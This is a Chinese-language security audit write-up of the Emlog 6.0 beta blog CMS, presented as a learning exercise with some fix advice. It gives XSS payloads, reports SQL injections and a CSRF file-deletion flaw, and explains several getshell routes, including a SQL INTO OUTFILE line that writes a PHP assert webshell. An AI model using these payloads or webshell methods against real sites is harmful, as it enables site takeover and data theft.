对Emlog 6.0 Beta的完整代码审计过程

Emlog 6.0 beta版本,这可能是最后一篇关于PHP语言CMS的代码审计文章,此次将详细记录完整的审计过程。

文章基本上完整记录小东的对此CMS审计过程,或许显得繁琐,但代码审计的过程就是这样,发现可能项,然后精心构造去验证,这过程中我们会遇到很多次碰壁,坚持测试,思维活跃一些,基本都会有所收获,诚挚希望后来者能够耐心阅读下去,当然最好也能够有所启发。

大家需要注意的一点是,代码审计是为了学习并在SDL中避免发生类似的错误,同时也是帮助开源系统修复相关问题,并不是去为了获得什么0day~

0×00 Emlog 6.0 beta

EMLOG 6.0

官网地址:https://www.emlog.net/

Emlog 6.0 beta下载地址:https://www.emlog.net/download

由于官方限制论坛会员(注册付费)才可下载,这里提供一个原版下载地址:https://www.lanzous.com/i1l5gad

文件校验:

文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip 大小: 607725 字节 修改时间: 2018年8月6日, 20:53:50 MD5: 7844FE6FEAE7AF68052DC878B8811FAC SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352 CRC32: 4963E489 

博主的博客就是基于此套博客系统,其实很多圈内大佬都在使用,对于本款CMS的审计文章却并没有,小东就来以此CMS作为PHP代码审计的封笔之作。

0×01 初步测试

首先,我们得先安装!安装成功后的首页界面:

安装成功

默认后台登陆地址:./admin/

登陆成功后:

后台界面

闲话一句,感觉6.05.3.1版本好看太多了~

安装过后,我们应该尽可能全面搜集关于此CMS的信息,这对于我们审计代码有很大的帮助。

所以,分析得到此CMS的大致结构,Emlog是一个 MVC 的设计模式,大致的结构如图:

emlog结构

因此我们主要会分析 admin 和 include 文件夹下的文件。

数据库表:

DATABASE

在根目录的init.php 文件中

报错等级

报错等级指定为7

<?php
//禁用错误报告
error_reporting(0);//报告运行时错误 error_reporting(E_ERROR | E_WARNING | E_PARSE); //报告所有错误 error_reporting(E_ALL); error_reporting(7); /* 设置php错误检测级别 E_ERROR - 致命性运行时错 (1) E_WARNING - 运行时警告(非致命性错)(2) E_PARSE - 编译时解析错误 (4) 1+2+4 = 7 */ ?>

0×02 使用漏洞扫描器

可能有朋友就会说你为什么要使用“漏扫”呐?不是代码审计吗?

这里要纠正一下这个观点,漏扫其实就是一个自动化黑盒测试,在本地环境下,我们不会影响任何的业务。

通过漏扫出的漏洞能够方便我们快速定位漏洞位置,这样是一种高效的方式,这也是在团队里的成员通过漏扫Get了百度的几个高危漏洞给小东的启示。

这里使用了一款重型扫描器 AWVS ,得到的报告如下:

结果

不过在本地扫描时,使用的是 XAMPP windows10 PHP5.6的环境,所以导致漏洞报告中很多误报,漏扫主要扫描出了几个XSS漏洞CSRF漏洞

所以我们首先验证这两类的漏洞

0×03 文章编辑器储存性XSS

在后台的编辑器处,编辑文章./admin/admin_log.php

编辑器XSS

成功发布后,来到首页

emlogXSS

进入文章页后

文章页XSS

都弹窗了,这里大家可能要说没法儿利用,但是emlog设计了 会员/作者 功能,在emlog中的某些模版中可以前台注册会员,会员登录后可以编辑发表文章,评论等等功能。Emlog官方还提供了文章投稿插件,都是调用了官方默认的Kindeditor编辑器,这个编辑器自带HTML编辑模式,就算不带这个模式,攻击者也可以抓包修改达到攻击目的。

为什么前台没过滤呐?为了文章有支持HTML代码输出,所以对于kindeditor的保存输出内容并没有转义。

emlog会员/投稿

修复建议:参考其他CMS做好文章内容关键词的检测,并做好过滤或者转义

0×04 Uploadify SWF XSS

Emlog使用了 uploadify.swf 的方式上传文件,文件路径 /include/lib/js/uploadify/uploadify.swf

构造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf

效果,可无视浏览器filter

SWF XSS

0×05 反射型XSS

此处的XSS主要发生在cookie上,因为某些页面如 admin/admin_log,admin/sort.php,admin/link.php页面需要在表单中添加了hidden属性的token值,而这个token值直接从用户的cookie中取得,导致了一个反射型XSS

拦截抓包修改cookie中的token值如下:

payload

效果:

COOKIE XSS

其次验证了 CSRF 漏洞,这个是前台的搜索框的CSRF根本没什么价值

然后是管理员添加友情链接的XSS,经过验证并不存在,后台函数会限制字数


然后就是我们开始进行原始的代码审计工作了,主要借用了Seay代码审计工具Rips,这种审计工具主要依靠正则匹配可能导致危险的php函数来作为可能存在漏洞的判断,半自动化的方式,在一定程度上缓解了代码审计的压力。

0×06 基本函数

首先看了一下文件操作相关的函数,发现经常用到 View::getView 这一方法,

include/lib/view.php 文件中,源码如下:

<?php
/*** 视图控制* @copyright (c) Emlog All Rights Reserved*/class View { public static function getView($template, $ext = '.php') { if (!is_dir(TEMPLATE_PATH)) { emMsg('当前使用的模板已被删除或损坏,请登录后台更换其他模板。', BLOG_URL . 'admin/template.php'); } return TEMPLATE_PATH . $template . $ext; } public static function output() { $content = ob_get_clean(); ob_start(); echo $content; ob_end_flush(); exit; } } 

同时作为权限控制的 LoginAuth::checkToken(),在 \include\lib\loginauth.php下约209行开始

/**
* 生成token,防御CSRF攻击
*/
public static function genToken() { $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID); if (isset($_COOKIE[$token_cookie_name])) { return $_COOKIE[$token_cookie_name]; } else { $token = md5(getRandStr(16)); setcookie($token_cookie_name, $token, 0, '/'); return $token; } } /** * 检查token,防御CSRF攻击 */ public static function checkToken(){ $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : ''; if ($token != self::genToken()) { emMsg('权限不足,token error'); } } 

验证了Rips扫描出的文件包含问题(第一次使用Rips),发现无法复现,因为Rips扫描的时候是以文件形式,并没有参照程序的严格逻辑,导致的误报!

来到 \admin\admin_log.php 文件,从第78行开始:

//操作文章
if ($action == 'operate_log') {$operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : ''; $pid = isset($_POST['pid']) ? $_POST['pid'] : ''; $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array(); $sort = isset($_POST['sort']) ? intval($_POST['sort']) : ''; $author = isset($_POST['author']) ? intval($_POST['author']) : ''; $gid = isset($_GET['gid']) ? intval($_GET['gid']) : ''; LoginAuth::checkToken(); if ($operate == '') { emDirect("./admin_log.php?pid=$pid&error_b=1"); } if (empty($logs) && empty($gid)) { emDirect("./admin_log.php?pid=$pid&error_a=1"); } switch ($operate) { case 'del': foreach ($logs as $val) { doAction('before_del_log', $val); $Log_Model->deleteLog($val); doAction('del_log', $val); } $CACHE->updateCache(); if ($pid == 'draft') { emDirect("./admin_log.php?pid=draft&active_del=1"); } else{ emDirect("./admin_log.php?active_del=1"); } break; case 'top': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'sortop': foreach ($logs as $val) { $Log_Model->updateLog(array('sortop'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'notop': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val); } emDirect("./admin_log.php?active_down=1"); break; case 'hide': foreach ($logs as $val) { $Log_Model->hideSwitch($val, 'y'); } $CACHE->updateCache(); emDirect("./admin_log.php?active_hide=1"); break; ...//中间的代码要验证管理身份,故省略 case 'uncheck': if (ROLE != ROLE_ADMIN) { emMsg('权限不足!','./'); } $Log_Model->checkSwitch($gid, 'n'); $CACHE->updateCache(); emDirect("./admin_log.php?active_unck=1"); break; } } 

那么我们尝试越权删除文章 http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e 失败了提示权限不足,来到\include\model\log_model.php 发现

/*** 删除文章** @param int $blogId*/
function deleteLog($blogId) { $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID; $this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author"); //这里和上一句限制了作者只能删除自己的文章 if ($this->db->affected_rows() < 1) { emMsg('权限不足!', './'); } // 评论 $this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId"); // 标签 $this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' "); $this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' "); // 附件 $query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId "); while ($attach = $this->db->fetch_array($query)) { if (file_exists($attach['filepath'])) { $fpath = str_replace('thum-', '', $attach['filepath']); if ($fpath != $attach['filepath']) { @unlink($fpath); } @unlink($attach['filepath']); } } $this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId"); } 

这个越权漏洞不存在,同时看了下面的函数判断也是做了类似的处理

到这里其实我们对于整个 CMS 的架构已经较为熟悉了,基本能根据对应函数功能,直接手动找到对应的函数位置。

令人伤心的是,通过 Rips 代码审计工具得到的结果,一个都没复现成功…

###0×07 Seay辅助审计

相信很多人都知道法师的这款工具,主要还是因为中文,用着方便,但是完全依靠正则的方式去匹配函数,只能发现那些函数直接的控制漏洞,逻辑漏洞有时候可以根据逆推可以发现,但这种情况很少。

使用这款工具扫描出来共120个可能的情况(根据经验98%以上都是没法复现的),然后一个个排查,有的例如SQL语句反单引号这样的,很容易就可以判断给忽律,就不需要考虑。

在 /admin/store.php 看到这样一串代码:

store.php

这里我的思考是,如果在emlog官网有URL跳转链接的话,那么就可以构造下载远程任意的文件到网站,但是测试了官网没有跳转链接,那么我们尝试下载别的插件(链接跳转等),或者有黑客精心构造了一个插件或者模版,然后再利用,这也算是一个可行的方案。

此处需要管理员权限,作为代码审计的一个参考思路,不是要发现什么0day,而是希望大家能够在代码审计方面有所收获。

(1). SQL注入

对于SQL注入Seay工具一直都没准过,这里小东推荐方式,使用全局搜索 $_GET[ 或 $_PSOT[,然后看看是否代入了SQL查询,然后一一验证。

然后我发现了这样一个没有过滤IP参数

IP参数

然后到 admin/comment.php 中查看

comment.php

再看 delCommentByIp($ip) 函数

IP参数sql

由此我们可以确定了SQL注入的存在

验证如下:

SQL注入

(2).一个CSRF+任意文件删除

$_GET[]型分析完以后,就寻找$_POST[]的,然后在admin/data.php文件中找到了如下代码

data.php

这里我们发现,并没有验证toknen,那么可以构造csrf页面,这里小东就不演示了,直接BURP验证一下任意文件删除吧,关于CSRF,只要没有调用上面基础函数部分说到的 LoginAuth::checkToken() 方法的,都存在CSRF

CSRF+任意删除

这里就成功删除了文件

(3).TAG SQL注入

在POST参数中发现此处并没有过滤,同时在 deleteTag() 函数中,代入了SQL查询,因此又是一个SQL注入

tag sql

但是此处并没有回显。可以采用时间盲注的方式

至此,利用工具的半自动化审计已经结束,下面准备手工测试

0×08 手工测试

手工测试也不是单纯的翻文件,应当以灰盒测试为主导,从逻辑权限敏感信息等方面入手

(1).后台登陆存在暴力破解风险

在这里,我之前提到过的验证码未及时销毁的历史问题还存在,此处不再详细叙述,请参考https://blog.csdn.net/dyboy2017/article/details/78433748

(2).报错信息导致物理路径泄漏

大家不要以为这是小事情,当sql注入存在的时候,我们有机会是可以直接写shell文件,安全无小事

一个低权限的方式,在游客的条件下测试一下

物理路径

payload:http://www.test.com/admin/attachment.php?action[]=

原因是:addslashes() expects parameter 1

(3).Cookie可计算

include/lib/loginauth.php134行开始

/*** 写用于登录验证cookie** @param int $user_id User ID* @param bool $remember Whether to remember the user or not*/
public static function setAuthCookie($user_login, $ispersis = false) { if ($ispersis) { $expiration = time() + 3600 * 24 * 30 * 12; } else { $expiration = null; } $auth_cookie_name = AUTH_COOKIE_NAME; $auth_cookie = self::generateAuthCookie($user_login, $expiration); setcookie($auth_cookie_name, $auth_cookie, $expiration,'/'); } /** * 生成登录验证cookie * * @param int $user_id user login * @param int $expiration Cookie expiration in seconds * @return string Authentication cookie contents */ private static function generateAuthCookie($user_login, $expiration) { $key = self::emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key); $cookie = $user_login . '|' . $expiration . '|' . $hash; return $cookie; } 

可以看到此处的cookie都可以直接计算得到,只需要知道根目录下config.php中的

//auth key
define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz'); 

即可。

(4).侧边栏存储性XSS

为了同样是为了支持HTML代码的输出,没有转义对应的脚本代码标签,导致了存储性的XSS存在

侧边栏XSS

0×09 Getshell

(1).SQL注入拿到shell

如上所讲有SQL注入的存在,同时可以获取到物理路径,那么就可以直接写Shell

(2).后台插件上传zip

因为后台可以直接上传本地zip文件,这里我们去官网下载一个插件,同时把我们的shell文件(比如dyboy.php)加入zip,上传安装这个插件就可以了,然后shell地址为:http://www.test.com/content/plugins/插件名/dyboy.php

(3).后台模版上传zip

和插件同样的原理,这里的shell地址为:http://www.test.com/content/templates/模版名/dyboy.php

(4).备份文件拿shell

后台的数据功能处,先备份一个,然后下载到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';

然后导入备份恢复本地数据即可

这样就在网站个目录生成了一个dyboy.phpshell

0×10 总结

EMLOG是一个非常小巧轻快的博客系统,运行占用资源非常低,所以非常适合博主用作博客用途,其实只要不开启会员功能,没有弱口令就没有什么大的威胁。以此文章作为PHP代码审计的终稿,文章所述方法同样适用于其他的CMS代码审计和分析,创作不易,也希望本文章能对大家能有所启示。

转载于:https://www.cnblogs.com/h2zZhou/p/9466373.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/279627.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SINOCES 2011

突然发现又好久没写过日志了 是在是太懒了… 难得休假去看了眼消费电子 感觉实在是一年不如一年 佳能、索尼不见踪影&#xff0c;相机满场没见一家&#xff08;大牌子是真没见到&#xff09; 华硕技嘉微星等主板厂商同样失踪… PC方面&#xff0c;联想貌似是来卖电脑包鼠标的&a…

esim卡与ms卡的区别_什么是eSIM,它与SIM卡有何不同?

esim卡与ms卡的区别With the launch of the Apple Watch 3, the term “eSIM” has been thrown around a lot. And now, Google’s Pixel 2 is the first phone to use this new technology, it’s time we take a closer look at what it is, what it does, and what this me…

机器学习实战之logistic回归分类

利用logistic回归进行分类的主要思想&#xff1a;根据现有数据对分类边界建立回归公式&#xff0c;并以此进行分类。 logistic优缺点&#xff1a; 优点&#xff1a;计算代价不高&#xff0c;易于理解和实现。缺点&#xff1a;容易欠拟合&#xff0c;分类精度可能不高。 .适用数…

HDU 6343.Problem L. Graph Theory Homework-数学 (2018 Multi-University Training Contest 4 1012)

6343.Problem L. Graph Theory Homework 官方题解: 一篇写的很好的博客: HDU 6343 - Problem L. Graph Theory Homework - [(伪装成图论题的)简单数学题] 代码: 1 //1012-6343-数学2 #include<iostream>3 #include<cstdio>4 #include<cstring>5 #include<…

Android GridView LruCache

照片墙这种功能现在应该算是挺常见了&#xff0c;在很多应用中你都可以经常看到照片墙的身影。它的设计思路其实也非常简单&#xff0c;用一个GridView控件当作“墙”&#xff0c;然后随着GridView的滚动将一张张照片贴在“墙”上&#xff0c;这些照片可以是手机本地中存储的&a…

如何在Android TV上自定义推荐行

When you fire up Android TV, the first thing you see is a list of movies and shows the system thinks you’ll like. It’s often full of the latest flicks or hottest news, but sometimes it could just be things relevant to your interests and the apps you have…

steam串流到手机_如何从手机将Steam游戏下载到PC

steam串流到手机Steam allows you to remotely install games from your smartphone, just like you can with a PlayStation 4 or Xbox One. You can download games to your gaming PC from anywhere, ensuring those big downloads are complete and the game is ready to p…

禁用windows10更新_如何在Windows 10中禁用投影

禁用windows10更新The drop shadows on applications in the Windows 10 preview are really big and suspiciously similar to the ones in OS X, and if they aren’t your speed, you can easily remove them. We actually think they look good, but since somebody out th…

如何访问 Service?- 每天5分钟玩转 Docker 容器技术(99)

前面我们已经学习了如何部署 service&#xff0c;也验证了 swarm 的 failover 特性。不过截止到现在&#xff0c;有一个重要问题还没有涉及&#xff1a;如何访问 service&#xff1f;这就是本节要讨论的问题。 为了便于分析&#xff0c;我们重新部署 web_server。 ① docker se…

Linux配置手册(二)配置DHCP服务器

1.检查是否安装DHCP服务器软件 2.挂在RHEL5系统光盘 3.安装DHCP服务软件 4.将模板配置文件复制并覆盖现在的配置文件 5.配置修改dhcpd.conf文件 配置信息 默认租约时间 default-lease-time 最大租约时间 max-lease-time 局域网内所有主机的域名 option domain-name 客户机所使用…

什么是Google Play保护以及如何确保Android安全?

Android is open, flexible, and all about choice. Unfortunately, that flexibility comes more potential security issues. The good news is that Google has a system in place named Play Protect that helps keep Android secure. Android开放&#xff0c;灵活且具有多…

如何使计算机为您读取文档

Since the beginning of the computer age, people have always enjoyed making computers talk to them. These days, that functionality is built right into Windows and you can easily use it to have your PC read documents to you. 自计算机时代开始以来&#xff0c;人…

面试中常问的List去重问题,你都答对了吗?

2019独角兽企业重金招聘Python工程师标准>>> 面试中经常被问到的list如何去重&#xff0c;用来考察你对list数据结构&#xff0c;以及相关方法的掌握&#xff0c;体现你的java基础学的是否牢固。 我们大家都知道&#xff0c;set集合的特点就是没有重复的元素。如果集…

Coolite Toolkit学习笔记五:常用控件Menu和MenuPanel

Coolite Toolkit里的Menu控件和其他的.NET Web控件不一样&#xff0c;如果只是设计好了Menu或是通过程序初始化菜单项&#xff0c;菜单是不会呈现在界面上的&#xff0c;因为Coolite Toolkit规定Menu控件需要一个容器来做依托&#xff0c;而这个让Menu依托的控件就是MenuPanel&…

windows命令提示符_如何个性化Windows命令提示符

windows命令提示符Command line interfaces can be downright boring and always seem to miss out on the fresh coats of paint liberally applied to the rest of Windows. Here’s how to add a splash of color to Command Prompt and make it unique. 命令行界面可能非常…

android-api28转换到api19-不能编译

安装出现错误- rootponkan:/ # pm install /mnt/usb/sda1/app-debug.apkpkg: /mnt/usb/sda1/app-debug.apk Failure [INSTALL_FAILED_OLDER_SDK]查看系统和api版本 rootponkan:/ # getprop ro.build.version.release 5.1.1 rootponkan:/ # getprop ro.build.version.sdk 22将ap…

Java多线程编程 — 锁优化

2019独角兽企业重金招聘Python工程师标准>>> 阅读目录 一、尽量不要锁住方法 二、缩小同步代码块&#xff0c;只锁数据 三、锁中尽量不要再包含锁 四、将锁私有化&#xff0c;在内部管理锁 五、进行适当的锁分解 正文 并发环境下进行编程时&#xff0c;需要使用锁机…

Android Ap 开发 设计模式第六篇:原型模式

Prototype Pattern 名称由来 不是利用类来产生实例对象&#xff0c;而是从一个对象实例产生出另一个新的对象实例 &#xff0c;根据被视为原型的对象实例 &#xff0c;建立起的另一个新的对象实例就称为原型模式&#xff08;Ptototype Pattern&#xff09;。 需求场景 种类过多…

netty实现客户端服务端心跳重连

前言&#xff1a; 公司的加密机调度系统一直使用的是http请求调度的方式去调度&#xff0c;但是会出现网络故障导致某个客户端或者服务端断线的情况&#xff0c;导致很多请求信息以及回执信息丢失的情况&#xff0c;接着我们抛弃了http的方式&#xff0c;改为Tcp的方式去建立客…

为什么您仍然不应该购买《星球大战:前线II》

If you’ve been following video game news at all for the last couple of weeks, you’ve probably heard that EA’s Star Wars: Battlefront II is having some teething troubles. EA has backpedaled to avoid more controversy, but we’re here to say: don’t fall f…